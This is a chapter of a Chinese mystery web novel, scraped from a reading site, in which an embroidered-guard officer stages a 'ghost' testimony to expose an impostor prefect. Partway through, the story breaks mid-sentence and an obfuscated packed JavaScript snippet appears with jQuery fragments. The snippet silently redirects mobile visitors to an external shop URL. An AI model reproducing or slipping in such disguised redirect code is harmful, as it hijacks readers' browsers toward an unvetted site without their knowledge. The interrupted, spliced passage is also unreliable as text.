文趣网 > 其他小说 > 锦衣行案录 > 18. 死而复生
    “严健是谁?”

    “新调来的?”

    “有些耳熟。”

    一阵议论纷纷入耳。

    向远致已经面色全白。

    张知闲拍了拍他的手臂,笑得轻松。

    “看来不能背后说人,刚说到严健,严健就来了呢。”

    向远致双目颤颤,声音忽的一拔高。

    “张大人!严健已经死了!”

    “严健?!”同桌一官员霍然起身,“他不是在驿站被人杀了吗!”

    张知闲看向那人。

    是宁波府的推官邓禧。

    二人前后一开口,现场的官员都反应了过来。

    现场顿时一寂,目光全部锁在了严健的身上。

    啪,啪!

    张知闲拍了两下掌,朗声道:“有意思!今日是碰见了鬼魂含冤赴公堂啊!”

    她拖出圆凳,往中间岔腿一坐。

    “严健,你今日前来,可是有什么冤情要诉呐?”

    正午时分,头顶白日,凭空却起了一阵萧萧秋风。

    在场之人齐齐打了个寒颤。

    他们不知张知闲今日是要闹哪一出,只得将目光投向向远致。

    向远致硬着头皮上前。

    “张大人,这究竟是怎么回事?”

    “我都说了是鬼魂诉冤啊!”张知闲往对面的人身上一指,“难道他不是严健?”

    向远致飞快瞟了一眼。

    “可人已经死了啊……当时还是在下帮忙给收殓的。”

    张知闲没给他一个眼神。

    “严健,你且先说来,你被杀前后到底发生了什么?”

    严健的声音很低,飘忽忽的,听得人冷汗涔涔。

    “回大人的话。下官接到调令后,自京城而出,不久,便收到一封信函。信函是一故友,约在下去临海县驿站见面。下官与故友许久未见,自然是欣然前往。到临海县驿站时,正是六月十三的午时。驿站给下官安排了饭食,有蛋清羊尾??、三鲜麦虾?和蒜烧黄鱼。下官吃得唇齿生香,饮了一盏茶就去歇了午觉。”

    “之后呢?”

    “死了。”

    平无语调的声音仿若鬼魅。

    一众官员无不噤声,只偷偷和身侧之人眼神交换。

    唯有邓禧絮絮念着。

    “连菜色都对的上……难不成真是鬼?”

    他话未说完,身侧的同僚便拉了一把,示意他坐下。

    邓禧摆摆手,看了一眼严健,阔步上前,朝张知闲拱了拱手。

    “张大人,此人所言,和严健死前之事,桩桩件件都对的上。唯独有一点。”

    “邓推官请讲。”

    “现场并未找到约见严健的信函。”

    “无碍无碍。”张知闲笑着指向严健,“本人,啊,不对,是本鬼在此,一问便知。严健,你给大家说说,当时是谁约你见面啊?”

    严健抬起头,直直看向前方,雪白的面色显得有些发青。

    他嘴唇忽得一咧,向上弯起,似细线勒出一个笑。

    “我昔日同窗,向远致。”

    向远致面色瞬间涨红,喊了出来。

    “胡言乱语!我何时约你见过面!我倒要看看你到底是谁,敢在此处装神弄鬼!”

    他说完,便提步向前,抬手欲去捉人。

    不等张知闲动手,邓禧忽的一把拽住他。

    “他所言有几分道理。”

    “邓禧!你又发的哪门子疯?这明明就是有人假借鬼怪,想要栽赃于我!”

    邓禧岿然不动。

    “严健当时被调去仙居县做县丞,按照南下路途,他可直去仙居。可他却未在仙居下船,反而向前多行了一段水路到的临海县。这本就不合常理。若有故友约见,他的行程便说的通了。”

    张知闲接话:“而当时在临海县附近做官,还和他相识的只有你。向知府。”

    下面起来一阵窸窸窣窣的议论声,目光朝向远致而去。

    邓禧用力拽住他。

    “向知府,你需要给一个解释!”

    向远致气得直喘气。

    “案发时,我人一直在宁波,怎么可能是我杀的!”

    他用力将邓禧甩开,直指张知闲。

    “她一个锦衣卫的话,你们都信?!不就是因为我前段时间得罪了她,她才找人扮鬼来设计构陷我!”

    官场无秘密,二人之前起争执的事儿早就传遍了。

    双方向来不对头,立即有人站出来为他说话。

    “向知府说的没错,八年前,我和向知府都在知府衙门做事,案发那日他人一直在衙门里办差。这一点,衙门上上下下的人都可以作证!”

    不少人出来附和。

    “此事,就算闹到陛下那里去也是我们有理!”

    张知闲眉尾一挑。

    “我有说人是他亲手杀的吗?”

    方才振振有词的官员一下被咽住了。

    “邓大人应该记得,李纯青是此案的嫌疑人吧?”

    “确实。案发时他也住在驿站,但二人素不相识……”邓禧眼神微动,“张大人的意思是凶手是李纯青?”

    “锦衣卫的苏千户验过严健的尸体,判定他死于一种蛊毒。而前些日子,灭门案中,李纯青也是利用的蛊将三户人家迷晕后才行的凶。”

    邓禧目光游移不定。

    “可李纯青和向知府并不熟识。”

    向远致一甩袖。

    “你还真听进去了!她就是为了构陷我!”

    “灭门案的卷宗,邓大人已经看过了吧?”

    “前日便看过了。”

    “海盗被灭口一案,你可有看法?”

    邓禧说道:“牵强。李纯青和杨出海在海盗死前一晚才上的船,若是那时偷下迷药,如何保证海盗在次日凌晨靠岸后服药昏迷呢?”

    “不愧是邓大人。”张知闲赞了一句,“有件事,卷宗上并未写上。案发那日,我下船时,船只缆绳忽然断裂。”

    邓禧思索片刻摇摇头:“这其中有何玄妙?”

    “据我的一位友人说。按照潮汐规律,当日卯时前后,水位最高,按理说,船只应该放松缆绳,但那艘船的缆绳却绷得很紧,所以才导致的缆绳断裂。”

    邓禧立即道:“船只不是卯时靠岸,而是在水位很低之时就靠的岸!”

    张知闲点点头,站起身,走到向远致面前。

    “向知府,若我没记错,当时就是你去信约海盗在卯时见的面吧?你如何解释,明明是约的卯时,他们却提前靠岸?”

    向远致直接朝她翻了个白眼。

    “这我如何得知?张知闲,你不会是想指认我和李纯青有关系,是我指使他做下的灭门大案吧?”他大笑一声,“我一个知府,好好的去杀自己的故友?去灭门治下的大户做甚?”

    现场平起一阵议论声,叽叽喳喳,无不是在指责张知闲。

    张知闲眉毛都没动一下,只敲了一下刀鞘。

    轻轻一声叩击。

    杂声顿收。

    她缓缓开口。

    “你真的是知府吗?或者说,你真的是向远致吗?”

    向远致僵着脸,眯起一只眼,旋即哼笑。

    “张大人为了构陷我,已经无所用不及到了这般地步!”

    张知闲斜了他一眼,自顾自说道:“严健在离京时曾给你写了一封信,你收到信后,怕他察觉你并非向远致,便先写信将他引到临海县驿站,又指使李纯青杀害了他。而,灭门案嘛……还有一个证人。沈姐。”

    沈慕华提着一个身着囚服的人阔步而入。

    “此人便是海盗中幸存的一人——徐风,按照你的吩咐,把那东西擦去了一半。”

    张知闲上前将囚服扯开。

    徐风胸膛露出,上画着一个蛟龙脑袋,原本的蛟龙身体的部分干干净净,也毫无伤口。

    “瞧瞧,用画来假做刺青,那么鲜艳的颜色。”张知闲啧啧两声,“都不知道做旧些。假冒徐风的这

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17919535|213138||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    位,说说是谁指使的你?”

    “徐风”面若死人一般,像是一摊烂泥趴在地上。

    “是,向远致,他指使我。他让我冒充徐风,告诉你们的那些话,包括引你们去海岛,也是他教我的。”

    张知闲侧身转头。

    “你还有什么要狡辩的?”

    向远致目光紧紧锁在“徐风”身上,嘴唇抿成了一条线。

    朱厌立即将“徐风”护在身后。

    “你冒充朝廷命官,杀害官员制造灭门案,到底是有什么目的!”

    向远致忽然一笑。

    “原来你们不知道啊!”

    他说完忽的朝旁边一抓,挟持住邓禧,掏出一把匕首朝他刺去。

    “去死吧!”

    张知闲立即向前扑去,将他一把推开。

    匕首划开她的胳膊,摔落在地。

    沈慕华和朱厌一前一后,将“向远致”按住。

    汪间见缝插针,掏出一张手帕,倒上迷药,捂住他口鼻,将人直接弄晕了过去。

    邓禧早就吓傻了,他下意识扶住了张知闲。

    “张……张大人?”

    见他安然无恙,向远致也昏迷,张知闲长舒一口气。

    邓禧指着她的胳膊。

    “你的伤……”

    秋香色的布料已经被涌出的血晕染。

    她正要说不疼,背后忽的响起一阵低呼。

    接着是叶擢慌乱的声音。

    “他自杀了!”

    万顺意转过头。

    只见“徐风”已经趴在地上,脑袋下是一大滩血泊。

    “严健”蹲在他的身侧,收回按在他脖侧的手。

    “方才一离人,他就用力向地上一磕,人已经没气了。”

    声东击西!

    张知闲转过头,看向已经昏迷的向远致。

    原来那句“去死”不是说给邓禧听的。

    此人心思之缜密……

    她脊梁骨冒出一股凉腻的寒意,像是有蛇在爬行。

    “沈姐,你亲自把人带走,仔细些。”

    “是!”

    “向远致”被沈慕华三人一齐带走。

    回过神的邓禧走上前,先指向严健。

    “这是……折春么?”

    “严健”起身,朝他拱手道:“正是在下,今日假扮严健,是为了揪出真凶,失礼了。”

    他话音一落,好几个公子哥不顾那一摊血,纷纷将他围了起来。

    “叶兄,你可有受伤?”

    “折春,没想到你还会易容,我都没把你认出来!”

    叶擢一一回答,没有半分不耐。

    张知闲瞟了一眼,对邓禧说道:“假扮向知府的贼人我来审问,知府衙门的事,诸位自行决定吧。”

    不等他回话,几个官员也走上前。

    他们还不如邓禧镇定,一脸慌乱。

    “张大人,向知府真是假的?”

    “不会吧?我和他共事数年。”

    张知闲说道:“诸位,方才他杀人灭口的模样你们都看到了吧?何必再掩耳盗铃?”

    这几个官员明白得很,向远致肯定是假的!此时质疑,不过是怕被锦衣卫牵扯进去。

    邓禧搭了个台阶。

    “人应该是来宁波府之前就被替换了。诸位同僚,此案怕是没那么简单,我们都是为朝廷办事,此时更应当齐心一力,先稳住局面为先。”

    张知闲可没这样好心,转头就要走。

    刚被安抚的几个官员一下急了,连连叫她。

    见她置若未闻,有人叫道:“此案并无实证!向远致是朝廷官员,你无权带走他!”

    张知闲脚步一顿,抓住刀柄。

    “几位大人,可否听在下一言。”叶擢从人群中走出,挡在二者之间。

    对于他,本地的官员名士,都有几分偏爱,再加上他是本案的幸存者。

    方才还剑拔弩张的同知摆摆手。

    “说吧。”